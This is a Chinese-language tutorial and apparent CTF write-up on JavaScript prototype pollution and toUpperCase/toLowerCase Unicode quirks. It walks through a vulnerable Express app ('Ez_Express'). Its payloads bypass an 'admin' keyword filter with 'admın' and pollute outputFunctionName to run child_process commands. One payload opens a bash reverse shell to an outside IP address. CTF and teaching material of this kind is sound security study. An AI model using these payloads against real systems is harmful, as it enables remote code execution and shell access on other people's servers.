js原型链污染以及js大小写函数特性
js原型链污染
javaScript是一门灵活的语言,基于原型实现继承,原型是javascript的继承基础,而根据ECMAScript标准,someObject.[[Prototype]]符号是用于指向someObject的原型,而从ECMAScript6开始,[[Prototype]]可以通过Object.getPrototypeOf()和Object.setPrototypeOf()访问器来访问
每一个实例化对象都有一个私有属性__proto__指向它的构造函数的原型prototype,即
1
| test1.__proto__==Test.prototype //true
|
原型prototype是类的一个属性,而这个属性中的值和方法是每一个由该类实例化出来的对象所共有的,我们可以通过实例化对象test1.__proto__来访问Test类的原型,如果我们可以控制实例化对象的__proto__属性,则等于可以修改该类的所有实例化对象的__proto__属性
原型链污染原理
1 2 3 4 5 6 7 8
| test1=new Test() test2=new Test()
test1.b //undefined
test2.__proto__.b="12"
test1.b //12
|
我们可以看见本来Test类的实例化对象test1是没有b属性的,但是当我们对Test类的实例化对象test2做了私有属性__proto__赋值后(test2.__proto__指向Test的原型prototype),test1.b就有值了,这是因为
1 2 3 4
| 1. 在执行test1.b时,会先在对象test1中寻找b 2. 找不到时,会在test1.__proto__中寻找(这里的test1.__proto__一样是指向Test类的原型prototype) 3. 如果仍然找不到的话,就会在test1.__proto__.__proto__中继续寻找b 4. 因此寻找,知道找到null结束(即Object.prototype的__proto__就是null)
|
在js中,我们可以通过找到可以控制数组(对象)的键名的位置来控制实例化对象的__proto__来污染原型链,比较明显的是以下两个对象
同时如果要__proto__作为key可以被赋值的话,需要使用json进行解析,否则会将__proto__当作是原型而不是key,从而无法进行污染,实例如下
污染链失败
1 2 3 4
| let o1={} let o2={a:1,"__proto__":{b:2}} merge(o1,o2) //1 2 console.log(o1.a,o1.b) //无结果输出
|
污染链成功
1 2 3 4
| let o1={} let o2=JSON.parse('{"a":1,"__proto__":{"b":2}}') merge(o1,o2) //1 2 console.log(o1.a,o1.b) //2
|
而对于要污染哪个变量,需要找代码的执行点,js代码代码执行点可以找
1 2
| 1. eval函数 2. new Function
|
而对于包中的Content-Type字段,需要改为
1
| Content-type: application/json
|
js大小写函数特性
toUpperCase()
toUpperCase()是javascript中将小写转换为大写的函数,它有一个特性,就是有两个奇特字符在经过toUpperCase()后会变为大写的I和S
1 2 3
| "ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
|
toLowerCase()
toLowerCase()是js中将大写转换为小写的函数,它也有一个特性,就是将一个奇特字符在经过toUpperCase()后会变为小写的k
1
| "K".toLowerCase() == 'k'
|
实例(Ez_Express)
打开页面,我们发现是一个注册/登录界面,而且给出提示,要使用admin来注册登录,但是却不行,所以我们可以使用dirmap进行扫描,发现有www.zip泄露,解压后,我们看核心源码
查看index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| var express = require('express'); var router = express.Router(); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword }
return undefined }
router.get('/', function (req, res) { if(!req.session.user){ res.redirect('/login'); } res.outputFunctionName=undefined; res.render('index',data={'user':req.session.user.user}); });
router.get('/login', function (req, res) { res.render('login'); });
router.post('/login', function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>") } req.session.user={ 'user':req.body.userid.toUpperCase(), 'passwd': req.body.pwd, 'isLogin':false } res.redirect('/'); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert('error passwd');history.go(-1);</script>") } } res.redirect('/'); ; }); router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); }); router.get('/info', function (req, res) { res.render('index',data={'user':res.outputFunctionName}); }) module.exports = router;
|
我们看见clone和merge,可以初步判断是js原型链污染,而我们再看这个点
1
| res.render('index',data={'user':res.outputFunctionName});
|
可知,我们污染的变量是outputFunctionName,因为这个变量的值会写入index中,然后被执行
但是首先我们需要注册/登录,而从safeKeyword(req.body.userid),查看safeKeyword()函数,
1 2 3 4
| function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword }
|
可见其过滤了admin,但是有一个点,让我们可以利用js的特性进行突破
1
| 'user':req.body.userid.toUpperCase()
|
所以我们使用”ı”来代替”I”,所以我们可以利用admın来进行注册登录,然后根据
1 2 3 4 5
| router.post('/action', function (req, res) { if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); });
|
构造一条原型链
1
| {"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
|
然后构造payload
1 2 3 4 5 6 7
| get提交 /action
post提交 {"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
同时将改为Content-type: application/json
|
再访问/info即可下载flag
也可以反弹shell,来执行命令
1
| {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/118.31.168.198/39543 0>&1\"');var __tmp2"}}
|
参考文章:[https://www.cnblogs.com/escape-w/p/12347705.html]
[https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html]
[https://blog.csdn.net/qq_45691294/article/details/109320437]